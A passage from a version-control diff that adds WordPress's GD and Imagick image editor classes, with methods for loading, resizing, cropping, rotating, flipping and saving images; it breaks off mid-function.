+	 * Checks to see if editor supports the mime-type specified.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @static
+	 *
+	 * @param string $mime_type
+	 * @return bool
+	 */
+	public static function supports_mime_type( $mime_type ) {
+		$image_types = imagetypes();
+		switch( $mime_type ) {
+			case 'image/jpeg':
+				return ($image_types & IMG_JPG) != 0;
+			case 'image/png':
+				return ($image_types & IMG_PNG) != 0;
+			case 'image/gif':
+				return ($image_types & IMG_GIF) != 0;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Loads image from $this->file into new GD Resource.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @return bool|WP_Error True if loaded successfully; WP_Error on failure.
+	 */
+	public function load() {
+		if ( $this->image )
+			return true;
+
+		if ( ! is_file( $this->file ) && ! preg_match( '|^https?://|', $this->file ) )
+			return new WP_Error( 'error_loading_image', __('File doesn&#8217;t exist?'), $this->file );
+
+		// Set artificially high because GD uses uncompressed images in memory.
+		wp_raise_memory_limit( 'image' );
+
+		$this->image = @imagecreatefromstring( file_get_contents( $this->file ) );
+
+		if ( ! is_resource( $this->image ) )
+			return new WP_Error( 'invalid_image', __('File is not an image.'), $this->file );
+
+		$size = @getimagesize( $this->file );
+		if ( ! $size )
+			return new WP_Error( 'invalid_image', __('Could not read image size.'), $this->file );
+
+		if ( function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' ) ) {
+			imagealphablending( $this->image, false );
+			imagesavealpha( $this->image, true );
+		}
+
+		$this->update_size( $size[0], $size[1] );
+		$this->mime_type = $size['mime'];
+
+		return $this->set_quality();
+	}
+
+	/**
+	 * Sets or updates current image size.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param int $width
+	 * @param int $height
+	 * @return true
+	 */
+	protected function update_size( $width = false, $height = false ) {
+		if ( ! $width )
+			$width = imagesx( $this->image );
+
+		if ( ! $height )
+			$height = imagesy( $this->image );
+
+		return parent::update_size( $width, $height );
+	}
+
+	/**
+	 * Resizes current image.
+	 * Wraps _resize, since _resize returns a GD Resource.
+	 *
+	 * At minimum, either a height or width must be provided.
+	 * If one of the two is set to null, the resize will
+	 * maintain aspect ratio according to the provided dimension.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param  int|null $max_w Image width.
+	 * @param  int|null $max_h Image height.
+	 * @param  bool     $crop
+	 * @return true|WP_Error
+	 */
+	public function resize( $max_w, $max_h, $crop = false ) {
+		if ( ( $this->size['width'] == $max_w ) && ( $this->size['height'] == $max_h ) )
+			return true;
+
+		$resized = $this->_resize( $max_w, $max_h, $crop );
+
+		if ( is_resource( $resized ) ) {
+			imagedestroy( $this->image );
+			$this->image = $resized;
+			return true;
+
+		} elseif ( is_wp_error( $resized ) )
+			return $resized;
+
+		return new WP_Error( 'image_resize_error', __('Image resize failed.'), $this->file );
+	}
+
+	/**
+	 *
+	 * @param int $max_w
+	 * @param int $max_h
+	 * @param bool|array $crop
+	 * @return resource|WP_Error
+	 */
+	protected function _resize( $max_w, $max_h, $crop = false ) {
+		$dims = image_resize_dimensions( $this->size['width'], $this->size['height'], $max_w, $max_h, $crop );
+		if ( ! $dims ) {
+			return new WP_Error( 'error_getting_dimensions', __('Could not calculate resized image dimensions'), $this->file );
+		}
+		list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims;
+
+		$resized = wp_imagecreatetruecolor( $dst_w, $dst_h );
+		imagecopyresampled( $resized, $this->image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h );
+
+		if ( is_resource( $resized ) ) {
+			$this->update_size( $dst_w, $dst_h );
+			return $resized;
+		}
+
+		return new WP_Error( 'image_resize_error', __('Image resize failed.'), $this->file );
+	}
+
+	/**
+	 * Resize multiple images from a single source.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array $sizes {
+	 *     An array of image size arrays. Default sizes are 'small', 'medium', 'medium_large', 'large'.
+	 *
+	 *     Either a height or width must be provided.
+	 *     If one of the two is set to null, the resize will
+	 *     maintain aspect ratio according to the provided dimension.
+	 *
+	 *     @type array $size {
+	 *         Array of height, width values, and whether to crop.
+	 *
+	 *         @type int  $width  Image width. Optional if `$height` is specified.
+	 *         @type int  $height Image height. Optional if `$width` is specified.
+	 *         @type bool $crop   Optional. Whether to crop the image. Default false.
+	 *     }
+	 * }
+	 * @return array An array of resized images' metadata by size.
+	 */
+	public function multi_resize( $sizes ) {
+		$metadata = array();
+		$orig_size = $this->size;
+
+		foreach ( $sizes as $size => $size_data ) {
+			if ( ! isset( $size_data['width'] ) && ! isset( $size_data['height'] ) ) {
+				continue;
+			}
+
+			if ( ! isset( $size_data['width'] ) ) {
+				$size_data['width'] = null;
+			}
+			if ( ! isset( $size_data['height'] ) ) {
+				$size_data['height'] = null;
+			}
+
+			if ( ! isset( $size_data['crop'] ) ) {
+				$size_data['crop'] = false;
+			}
+
+			$image = $this->_resize( $size_data['width'], $size_data['height'], $size_data['crop'] );
+			$duplicate = ( ( $orig_size['width'] == $size_data['width'] ) && ( $orig_size['height'] == $size_data['height'] ) );
+
+			if ( ! is_wp_error( $image ) && ! $duplicate ) {
+				$resized = $this->_save( $image );
+
+				imagedestroy( $image );
+
+				if ( ! is_wp_error( $resized ) && $resized ) {
+					unset( $resized['path'] );
+					$metadata[$size] = $resized;
+				}
+			}
+
+			$this->size = $orig_size;
+		}
+
+		return $metadata;
+	}
+
+	/**
+	 * Crops Image.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param int  $src_x   The start x position to crop from.
+	 * @param int  $src_y   The start y position to crop from.
+	 * @param int  $src_w   The width to crop.
+	 * @param int  $src_h   The height to crop.
+	 * @param int  $dst_w   Optional. The destination width.
+	 * @param int  $dst_h   Optional. The destination height.
+	 * @param bool $src_abs Optional. If the source crop points are absolute.
+	 * @return bool|WP_Error
+	 */
+	public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) {
+		// If destination width/height isn't specified, use same as
+		// width/height from source.
+		if ( ! $dst_w )
+			$dst_w = $src_w;
+		if ( ! $dst_h )
+			$dst_h = $src_h;
+
+		$dst = wp_imagecreatetruecolor( $dst_w, $dst_h );
+
+		if ( $src_abs ) {
+			$src_w -= $src_x;
+			$src_h -= $src_y;
+		}
+
+		if ( function_exists( 'imageantialias' ) )
+			imageantialias( $dst, true );
+
+		imagecopyresampled( $dst, $this->image, 0, 0, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h );
+
+		if ( is_resource( $dst ) ) {
+			imagedestroy( $this->image );
+			$this->image = $dst;
+			$this->update_size();
+			return true;
+		}
+
+		return new WP_Error( 'image_crop_error', __('Image crop failed.'), $this->file );
+	}
+
+	/**
+	 * Rotates current image counter-clockwise by $angle.
+	 * Ported from image-edit.php
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param float $angle
+	 * @return true|WP_Error
+	 */
+	public function rotate( $angle ) {
+		if ( function_exists('imagerotate') ) {
+			$transparency = imagecolorallocatealpha( $this->image, 255, 255, 255, 127 );
+			$rotated = imagerotate( $this->image, $angle, $transparency );
+
+			if ( is_resource( $rotated ) ) {
+				imagealphablending( $rotated, true );
+				imagesavealpha( $rotated, true );
+				imagedestroy( $this->image );
+				$this->image = $rotated;
+				$this->update_size();
+				return true;
+			}
+		}
+		return new WP_Error( 'image_rotate_error', __('Image rotate failed.'), $this->file );
+	}
+
+	/**
+	 * Flips current image.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param bool $horz Flip along Horizontal Axis
+	 * @param bool $vert Flip along Vertical Axis
+	 * @return true|WP_Error
+	 */
+	public function flip( $horz, $vert ) {
+		$w = $this->size['width'];
+		$h = $this->size['height'];
+		$dst = wp_imagecreatetruecolor( $w, $h );
+
+		if ( is_resource( $dst ) ) {
+			$sx = $vert ? ($w - 1) : 0;
+			$sy = $horz ? ($h - 1) : 0;
+			$sw = $vert ? -$w : $w;
+			$sh = $horz ? -$h : $h;
+
+			if ( imagecopyresampled( $dst, $this->image, 0, 0, $sx, $sy, $w, $h, $sw, $sh ) ) {
+				imagedestroy( $this->image );
+				$this->image = $dst;
+				return true;
+			}
+		}
+		return new WP_Error( 'image_flip_error', __('Image flip failed.'), $this->file );
+	}
+
+	/**
+	 * Saves current in-memory image to file.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string|null $filename
+	 * @param string|null $mime_type
+	 * @return array|WP_Error {'path'=>string, 'file'=>string, 'width'=>int, 'height'=>int, 'mime-type'=>string}
+	 */
+	public function save( $filename = null, $mime_type = null ) {
+		$saved = $this->_save( $this->image, $filename, $mime_type );
+
+		if ( ! is_wp_error( $saved ) ) {
+			$this->file = $saved['path'];
+			$this->mime_type = $saved['mime-type'];
+		}
+
+		return $saved;
+	}
+
+	/**
+	 * @param resource $image
+	 * @param string|null $filename
+	 * @param string|null $mime_type
+	 * @return WP_Error|array
+	 */
+	protected function _save( $image, $filename = null, $mime_type = null ) {
+		list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type );
+
+		if ( ! $filename )
+			$filename = $this->generate_filename( null, null, $extension );
+
+		if ( 'image/gif' == $mime_type ) {
+			if ( ! $this->make_image( $filename, 'imagegif', array( $image, $filename ) ) )
+				return new WP_Error( 'image_save_error', __('Image Editor Save Failed') );
+		}
+		elseif ( 'image/png' == $mime_type ) {
+			// convert from full colors to index colors, like original PNG.
+			if ( function_exists('imageistruecolor') && ! imageistruecolor( $image ) )
+				imagetruecolortopalette( $image, false, imagecolorstotal( $image ) );
+
+			if ( ! $this->make_image( $filename, 'imagepng', array( $image, $filename ) ) )
+				return new WP_Error( 'image_save_error', __('Image Editor Save Failed') );
+		}
+		elseif ( 'image/jpeg' == $mime_type ) {
+			if ( ! $this->make_image( $filename, 'imagejpeg', array( $image, $filename, $this->get_quality() ) ) )
+				return new WP_Error( 'image_save_error', __('Image Editor Save Failed') );
+		}
+		else {
+			return new WP_Error( 'image_save_error', __('Image Editor Save Failed') );
+		}
+
+		// Set correct file permissions
+		$stat = stat( dirname( $filename ) );
+		$perms = $stat['mode'] & 0000666; //same permissions as parent folder, strip off the executable bits
+		@ chmod( $filename, $perms );
+
+		/**
+		 * Filters the name of the saved image file.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param string $filename Name of the file.
+		 */
+		return array(
+			'path'      => $filename,
+			'file'      => wp_basename( apply_filters( 'image_make_intermediate_size', $filename ) ),
+			'width'     => $this->size['width'],
+			'height'    => $this->size['height'],
+			'mime-type' => $mime_type,
+		);
+	}
+
+	/**
+	 * Returns stream of current image.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $mime_type The mime type of the image.
+	 * @return bool True on success, false on failure.
+	 */
+	public function stream( $mime_type = null ) {
+		list( $filename, $extension, $mime_type ) = $this->get_output_format( null, $mime_type );
+
+		switch ( $mime_type ) {
+			case 'image/png':
+				header( 'Content-Type: image/png' );
+				return imagepng( $this->image );
+			case 'image/gif':
+				header( 'Content-Type: image/gif' );
+				return imagegif( $this->image );
+			default:
+				header( 'Content-Type: image/jpeg' );
+				return imagejpeg( $this->image, null, $this->get_quality() );
+		}
+	}
+
+	/**
+	 * Either calls editor's save function or handles file as a stream.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string|stream $filename
+	 * @param callable $function
+	 * @param array $arguments
+	 * @return bool
+	 */
+	protected function make_image( $filename, $function, $arguments ) {
+		if ( wp_is_stream( $filename ) )
+			$arguments[1] = null;
+
+		return parent::make_image( $filename, $function, $arguments );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-image-editor-imagick.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-image-editor-imagick.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-image-editor-imagick.php	(revision 56912)
@@ -0,0 +1,752 @@
+<?php
+/**
+ * WordPress Imagick Image Editor
+ *
+ * @package WordPress
+ * @subpackage Image_Editor
+ */
+
+/**
+ * WordPress Image Editor Class for Image Manipulation through Imagick PHP Module
+ *
+ * @since 3.5.0
+ *
+ * @see WP_Image_Editor
+ */
+class WP_Image_Editor_Imagick extends WP_Image_Editor {
+	/**
+	 * Imagick object.
+	 *
+	 * @var Imagick
+	 */
+	protected $image;
+
+	public function __destruct() {
+		if ( $this->image instanceof Imagick ) {
+			// we don't need the original in memory anymore
+			$this->image->clear();
+			$this->image->destroy();
+		}
+	}
+
+	/**
+	 * Checks to see if current environment supports Imagick.
+	 *
+	 * We require Imagick 2.2.0 or greater, based on whether the queryFormats()
+	 * method can be called statically.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @static
+	 *
+	 * @param array $args
+	 * @return bool
+	 */
+	public static function test( $args = array() ) {
+
+		// First, test Imagick's extension and classes.
+		if ( ! extension_loaded( 'imagick' ) || ! class_exists( 'Imagick', false ) || ! class_exists( 'ImagickPixel', false ) )
+			return false;
+
+		if ( version_compare( phpversion( 'imagick' ), '2.2.0', '<' ) )
+			return false;
+
+		$required_methods = array(
+			'clear',
+			'destroy',
+			'valid',
+			'getimage',
+			'writeimage',
+			'getimageblob',
+			'getimagegeometry',
+			'getimageformat',
+			'setimageformat',
+			'setimagecompression',
+			'setimagecompressionquality',
+			'setimagepage',
+			'setoption',
+			'scaleimage',
+			'cropimage',
+			'rotateimage',
+			'flipimage',
+			'flopimage',
+			'readimage',
+		);
+
+		// Now, test for deep requirements within Imagick.
+		if ( ! defined( 'imagick::COMPRESSION_JPEG' ) )
+			return false;
+
+		$class_methods = array_map( 'strtolower', get_class_methods( 'Imagick' ) );
+		if ( array_diff( $required_methods, $class_methods ) ) {
+			return false;
+		}
+
+		// HHVM Imagick does not support loading from URL, so fail to allow fallback to GD.
+		if ( defined( 'HHVM_VERSION' ) && isset( $args['path'] ) && preg_match( '|^https?://|', $args['path'] ) ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Checks to see if editor supports the mime-type specified.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @static
+	 *
+	 * @param string $mime_type
+	 * @return bool
+	 */
+	public static function supports_mime_type( $mime_type ) {
+		$imagick_extension = strtoupper( self::get_extension( $mime_type ) );
+
+		if ( ! $imagick_extension )
+			return false;
+
+		// setIteratorIndex is optional unless mime is an animated format.
+		// Here, we just say no if you are missing it and aren't loading a jpeg.
+		if ( ! method_exists( 'Imagick', 'setIteratorIndex' ) && $mime_type != 'image/jpeg' )
+				return false;
+
+		try {
+			return ( (bool) @Imagick::queryFormats( $imagick_extension ) );
+		}
+		catch ( Exception $e ) {
+			return false;
+		}
+	}
+
+	/**
+	 * Loads image from $this->file into new Imagick Object.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @return true|WP_Error True if loaded; WP_Error on failure.
+	 */
+	public function load() {
+		if ( $this->image instanceof Imagick )
+			return true;
+
+		if ( ! is_file( $this->file ) && ! preg_match( '|^https?://|', $this->file ) )
+			return new WP_Error( 'error_loading_image', __('File doesn&#8217;t exist?'), $this->file );
+
+		/*
+		 * Even though Imagick uses less PHP memory than GD, set higher limit
+		 * for users that have low PHP.ini limits.
+		 */
+		wp_raise_memory_limit( 'image' );
+
+		try {
+			$this->image = new Imagick();
+			$file_extension = strtolower( pathinfo( $this->file, PATHINFO_EXTENSION ) );
+			$filename = $this->file;
+
+			if ( 'pdf' == $file_extension ) {
+				$filename = $this->pdf_setup();
+			}
+
+			// Reading image after Imagick instantiation because `setResolution`
+			// only applies correctly before the image is read.
+			$this->image->readImage( $filename );
+
+			if ( ! $this->image->valid() )
+				return new WP_Error( 'invalid_image', __('File is not an image.'), $this->file);
+
+			// Select the first frame to handle animated images properly
+			if ( is_callable( array( $this->image, 'setIteratorIndex' ) ) )
+				$this->image->setIteratorIndex(0);
+
+			$this->mime_type = $this->get_mime_type( $this->image->getImageFormat() );
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'invalid_image', $e->getMessage(), $this->file );
+		}
+
+		$updated_size = $this->update_size();
+		if ( is_wp_error( $updated_size ) ) {
+			return $updated_size;
+		}
+
+		return $this->set_quality();
+	}
+
+	/**
+	 * Sets Image Compression quality on a 1-100% scale.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param int $quality Compression Quality. Range: [1,100]
+	 * @return true|WP_Error True if set successfully; WP_Error on failure.
+	 */
+	public function set_quality( $quality = null ) {
+		$quality_result = parent::set_quality( $quality );
+		if ( is_wp_error( $quality_result ) ) {
+			return $quality_result;
+		} else {
+			$quality = $this->get_quality();
+		}
+
+		try {
+			if ( 'image/jpeg' == $this->mime_type ) {
+				$this->image->setImageCompressionQuality( $quality );
+				$this->image->setImageCompression( imagick::COMPRESSION_JPEG );
+			}
+			else {
+				$this->image->setImageCompressionQuality( $quality );
+			}
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_quality_error', $e->getMessage() );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Sets or updates current image size.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param int $width
+	 * @param int $height
+	 *
+	 * @return true|WP_Error
+	 */
+	protected function update_size( $width = null, $height = null ) {
+		$size = null;
+		if ( !$width || !$height ) {
+			try {
+				$size = $this->image->getImageGeometry();
+			}
+			catch ( Exception $e ) {
+				return new WP_Error( 'invalid_image', __( 'Could not read image size.' ), $this->file );
+			}
+		}
+
+		if ( ! $width )
+			$width = $size['width'];
+
+		if ( ! $height )
+			$height = $size['height'];
+
+		return parent::update_size( $width, $height );
+	}
+
+	/**
+	 * Resizes current image.
+	 *
+	 * At minimum, either a height or width must be provided.
+	 * If one of the two is set to null, the resize will
+	 * maintain aspect ratio according to the provided dimension.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param  int|null $max_w Image width.
+	 * @param  int|null $max_h Image height.
+	 * @param  bool     $crop
+	 * @return bool|WP_Error
+	 */
+	public function resize( $max_w, $max_h, $crop = false ) {
+		if ( ( $this->size['width'] == $max_w ) && ( $this->size['height'] == $max_h ) )
+			return true;
+
+		$dims = image_resize_dimensions( $this->size['width'], $this->size['height'], $max_w, $max_h, $crop );
+		if ( ! $dims )
+			return new WP_Error( 'error_getting_dimensions', __('Could not calculate resized image dimensions') );
+		list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims;
+
+		if ( $crop ) {
+			return $this->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h );
+		}
+
+		// Execute the resize
+		$thumb_result = $this->thumbnail_image( $dst_w, $dst_h );
+		if ( is_wp_error( $thumb_result ) ) {
+			return $thumb_result;
+		}
+
+		return $this->update_size( $dst_w, $dst_h );
+	}
+
+	/**
+	 * Efficiently resize the current image
+	 *
+	 * This is a WordPress specific implementation of Imagick::thumbnailImage(),
+	 * which resizes an image to given dimensions and removes any associated profiles.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param int    $dst_w       The destination width.
+	 * @param int    $dst_h       The destination height.
+	 * @param string $filter_name Optional. The Imagick filter to use when resizing. Default 'FILTER_TRIANGLE'.
+	 * @param bool   $strip_meta  Optional. Strip all profiles, excluding color profiles, from the image. Default true.
+	 * @return bool|WP_Error
+	 */
+	protected function thumbnail_image( $dst_w, $dst_h, $filter_name = 'FILTER_TRIANGLE', $strip_meta = true ) {
+		$allowed_filters = array(
+			'FILTER_POINT',
+			'FILTER_BOX',
+			'FILTER_TRIANGLE',
+			'FILTER_HERMITE',
+			'FILTER_HANNING',
+			'FILTER_HAMMING',
+			'FILTER_BLACKMAN',
+			'FILTER_GAUSSIAN',
+			'FILTER_QUADRATIC',
+			'FILTER_CUBIC',
+			'FILTER_CATROM',
+			'FILTER_MITCHELL',
+			'FILTER_LANCZOS',
+			'FILTER_BESSEL',
+			'FILTER_SINC',
+		);
+
+		/**
+		 * Set the filter value if '$filter_name' name is in our whitelist and the related
+		 * Imagick constant is defined or fall back to our default filter.
+		 */
+		if ( in_array( $filter_name, $allowed_filters ) && defined( 'Imagick::' . $filter_name ) ) {
+			$filter = constant( 'Imagick::' . $filter_name );
+		} else {
+			$filter = defined( 'Imagick::FILTER_TRIANGLE' ) ? Imagick::FILTER_TRIANGLE : false;
+		}
+
+		/**
+		 * Filters whether to strip metadata from images when they're resized.
+		 *
+		 * This filter only applies when resizing using the Imagick editor since GD
+		 * always strips profiles by default.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param bool $strip_meta Whether to strip image metadata during resizing. Default true.
+		 */
+		if ( apply_filters( 'image_strip_meta', $strip_meta ) ) {
+			$this->strip_meta(); // Fail silently if not supported.
+		}
+
+		try {
+			/*
+			 * To be more efficient, resample large images to 5x the destination size before resizing
+			 * whenever the output size is less that 1/3 of the original image size (1/3^2 ~= .111),
+			 * unless we would be resampling to a scale smaller than 128x128.
+			 */
+			if ( is_callable( array( $this->image, 'sampleImage' ) ) ) {
+				$resize_ratio = ( $dst_w / $this->size['width'] ) * ( $dst_h / $this->size['height'] );
+				$sample_factor = 5;
+
+				if ( $resize_ratio < .111 && ( $dst_w * $sample_factor > 128 && $dst_h * $sample_factor > 128 ) ) {
+					$this->image->sampleImage( $dst_w * $sample_factor, $dst_h * $sample_factor );
+				}
+			}
+
+			/*
+			 * Use resizeImage() when it's available and a valid filter value is set.
+			 * Otherwise, fall back to the scaleImage() method for resizing, which
+			 * results in better image quality over resizeImage() with default filter
+			 * settings and retains backward compatibility with pre 4.5 functionality.
+			 */
+			if ( is_callable( array( $this->image, 'resizeImage' ) ) && $filter ) {
+				$this->image->setOption( 'filter:support', '2.0' );
+				$this->image->resizeImage( $dst_w, $dst_h, $filter, 1 );
+			} else {
+				$this->image->scaleImage( $dst_w, $dst_h );
+			}
+
+			// Set appropriate quality settings after resizing.
+			if ( 'image/jpeg' == $this->mime_type ) {
+				if ( is_callable( array( $this->image, 'unsharpMaskImage' ) ) ) {
+					$this->image->unsharpMaskImage( 0.25, 0.25, 8, 0.065 );
+				}
+
+				$this->image->setOption( 'jpeg:fancy-upsampling', 'off' );
+			}
+
+			if ( 'image/png' === $this->mime_type ) {
+				$this->image->setOption( 'png:compression-filter', '5' );
+				$this->image->setOption( 'png:compression-level', '9' );
+				$this->image->setOption( 'png:compression-strategy', '1' );
+				$this->image->setOption( 'png:exclude-chunk', 'all' );
+			}
+
+			/*
+			 * If alpha channel is not defined, set it opaque.
+			 *
+			 * Note that Imagick::getImageAlphaChannel() is only available if Imagick
+			 * has been compiled against ImageMagick version 6.4.0 or newer.
+			 */
+			if ( is_callable( array( $this->image, 'getImageAlphaChannel' ) )
+				&& is_callable( array( $this->image, 'setImageAlphaChannel' ) )
+				&& defined( 'Imagick::ALPHACHANNEL_UNDEFINED' )
+				&& defined( 'Imagick::ALPHACHANNEL_OPAQUE' )
+			) {
+				if ( $this->image->getImageAlphaChannel() === Imagick::ALPHACHANNEL_UNDEFINED ) {
+					$this->image->setImageAlphaChannel( Imagick::ALPHACHANNEL_OPAQUE );
+				}
+			}
+
+			// Limit the bit depth of resized images to 8 bits per channel.
+			if ( is_callable( array( $this->image, 'getImageDepth' ) ) && is_callable( array( $this->image, 'setImageDepth' ) ) ) {
+				if ( 8 < $this->image->getImageDepth() ) {
+					$this->image->setImageDepth( 8 );
+				}
+			}
+
+			if ( is_callable( array( $this->image, 'setInterlaceScheme' ) ) && defined( 'Imagick::INTERLACE_NO' ) ) {
+				$this->image->setInterlaceScheme( Imagick::INTERLACE_NO );
+			}
+
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_resize_error', $e->getMessage() );
+		}
+	}
+
+	/**
+	 * Resize multiple images from a single source.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array $sizes {
+	 *     An array of image size arrays. Default sizes are 'small', 'medium', 'medium_large', 'large'.
+	 *
+	 *     Either a height or width must be provided.
+	 *     If one of the two is set to null, the resize will
+	 *     maintain aspect ratio according to the provided dimension.
+	 *
+	 *     @type array $size {
+	 *         Array of height, width values, and whether to crop.
+	 *
+	 *         @type int  $width  Image width. Optional if `$height` is specified.
+	 *         @type int  $height Image height. Optional if `$width` is specified.
+	 *         @type bool $crop   Optional. Whether to crop the image. Default false.
+	 *     }
+	 * }
+	 * @return array An array of resized images' metadata by size.
+	 */
+	public function multi_resize( $sizes ) {
+		$metadata = array();
+		$orig_size = $this->size;
+		$orig_image = $this->image->getImage();
+
+		foreach ( $sizes as $size => $size_data ) {
+			if ( ! $this->image )
+				$this->image = $orig_image->getImage();
+
+			if ( ! isset( $size_data['width'] ) && ! isset( $size_data['height'] ) ) {
+				continue;
+			}
+
+			if ( ! isset( $size_data['width'] ) ) {
+				$size_data['width'] = null;
+			}
+			if ( ! isset( $size_data['height'] ) ) {
+				$size_data['height'] = null;
+			}
+
+			if ( ! isset( $size_data['crop'] ) ) {
+				$size_data['crop'] = false;
+			}
+
+			$resize_result = $this->resize( $size_data['width'], $size_data['height'], $size_data['crop'] );
+			$duplicate = ( ( $orig_size['width'] == $size_data['width'] ) && ( $orig_size['height'] == $size_data['height'] ) );
+
+			if ( ! is_wp_error( $resize_result ) && ! $duplicate ) {
+				$resized = $this->_save( $this->image );
+
+				$this->image->clear();
+				$this->image->destroy();
+				$this->image = null;
+
+				if ( ! is_wp_error( $resized ) && $resized ) {
+					unset( $resized['path'] );
+					$metadata[$size] = $resized;
+				}
+			}
+
+			$this->size = $orig_size;
+		}
+
+		$this->image = $orig_image;
+
+		return $metadata;
+	}
+
+	/**
+	 * Crops Image.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param int  $src_x The start x position to crop from.
+	 * @param int  $src_y The start y position to crop from.
+	 * @param int  $src_w The width to crop.
+	 * @param int  $src_h The height to crop.
+	 * @param int  $dst_w Optional. The destination width.
+	 * @param int  $dst_h Optional. The destination height.
+	 * @param bool $src_abs Optional. If the source crop points are absolute.
+	 * @return bool|WP_Error
+	 */
+	public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) {
+		if ( $src_abs ) {
+			$src_w -= $src_x;
+			$src_h -= $src_y;
+		}
+
+		try {
+			$this->image->cropImage( $src_w, $src_h, $src_x, $src_y );
+			$this->image->setImagePage( $src_w, $src_h, 0, 0);
+
+			if ( $dst_w || $dst_h ) {
+				// If destination width/height isn't specified, use same as
+				// width/height from source.
+				if ( ! $dst_w )
+					$dst_w = $src_w;
+				if ( ! $dst_h )
+					$dst_h = $src_h;
+
+				$thumb_result = $this->thumbnail_image( $dst_w, $dst_h );
+				if ( is_wp_error( $thumb_result ) ) {
+					return $thumb_result;
+				}
+
+				return $this->update_size();
+			}
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_crop_error', $e->getMessage() );
+		}
+		return $this->update_size();
+	}
+
+	/**
+	 * Rotates current image counter-clockwise by $angle.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param float $angle
+	 * @return true|WP_Error
+	 */
+	public function rotate( $angle ) {
+		/**
+		 * $angle is 360-$angle because Imagick rotates clockwise
+		 * (GD rotates counter-clockwise)
+		 */
+		try {
+			$this->image->rotateImage( new ImagickPixel('none'), 360-$angle );
+
+			// Normalise Exif orientation data so that display is consistent across devices.
+			if ( is_callable( array( $this->image, 'setImageOrientation' ) ) && defined( 'Imagick::ORIENTATION_TOPLEFT' ) ) {
+				$this->image->setImageOrientation( Imagick::ORIENTATION_TOPLEFT );
+			}
+
+			// Since this changes the dimensions of the image, update the size.
+			$result = $this->update_size();
+			if ( is_wp_error( $result ) )
+				return $result;
+
+			$this->image->setImagePage( $this->size['width'], $this->size['height'], 0, 0 );
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_rotate_error', $e->getMessage() );
+		}
+		return true;
+	}
+
+	/**
+	 * Flips current image.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param bool $horz Flip along Horizontal Axis
+	 * @param bool $vert Flip along Vertical Axis
+	 * @return true|WP_Error
+	 */
+	public function flip( $horz, $vert ) {
+		try {
+			if ( $horz )
+				$this->image->flipImage();
+
+			if ( $vert )
+				$this->image->flopImage();
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_flip_error', $e->getMessage() );
+		}
+		return true;
+	}
+
+	/**
+	 * Saves current image to file.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $destfilename
+	 * @param string $mime_type
+	 * @return array|WP_Error {'path'=>string, 'file'=>string, 'width'=>int, 'height'=>int, 'mime-type'=>string}
+	 */
+	public function save( $destfilename = null, $mime_type = null ) {
+		$saved = $this->_save( $this->image, $destfilename, $mime_type );
+
+		if ( ! is_wp_error( $saved ) ) {
+			$this->file = $saved['path'];
+			$this->mime_type = $saved['mime-type'];
+
+			try {
+				$this->image->setImageFormat( strtoupper( $this->get_extension( $this->mime_type ) ) );
+			}
+			catch ( Exception $e ) {
+				return new WP_Error( 'image_save_error', $e->getMessage(), $this->file );
+			}
+		}
+
+		return $saved;
+	}
+
+	/**
+	 *
+	 * @param Imagick $image
+	 * @param string $filename
+	 * @param string $mime_type
+	 * @return array|WP_Error
+	 */
+	protected function _save( $image, $filename = null, $mime_type = null ) {
+		list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type );
+
+		if ( ! $filename )
+			$filename = $this->generate_filename( null, null, $extension );
+
+		try {
+			// Store initial Format
+			$orig_format = $this->image->getImageFormat();
+
+			$this->image->setImageFormat( strtoupper( $this->get_extension( $mime_type ) ) );
+			$this->make_image( $filename, array( $image, 'writeImage' ), array( $filename ) );
+
+			// Reset original Format
+			$this->image->setImageFormat( $orig_format );
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_save_error', $e->getMessage(), $filename );
+		}
+
+		// Set correct file permissions
+		$stat = stat( dirname( $filename ) );
+		$perms = $stat['mode'] & 0000666; //same permissions as parent folder, strip off the executable bits
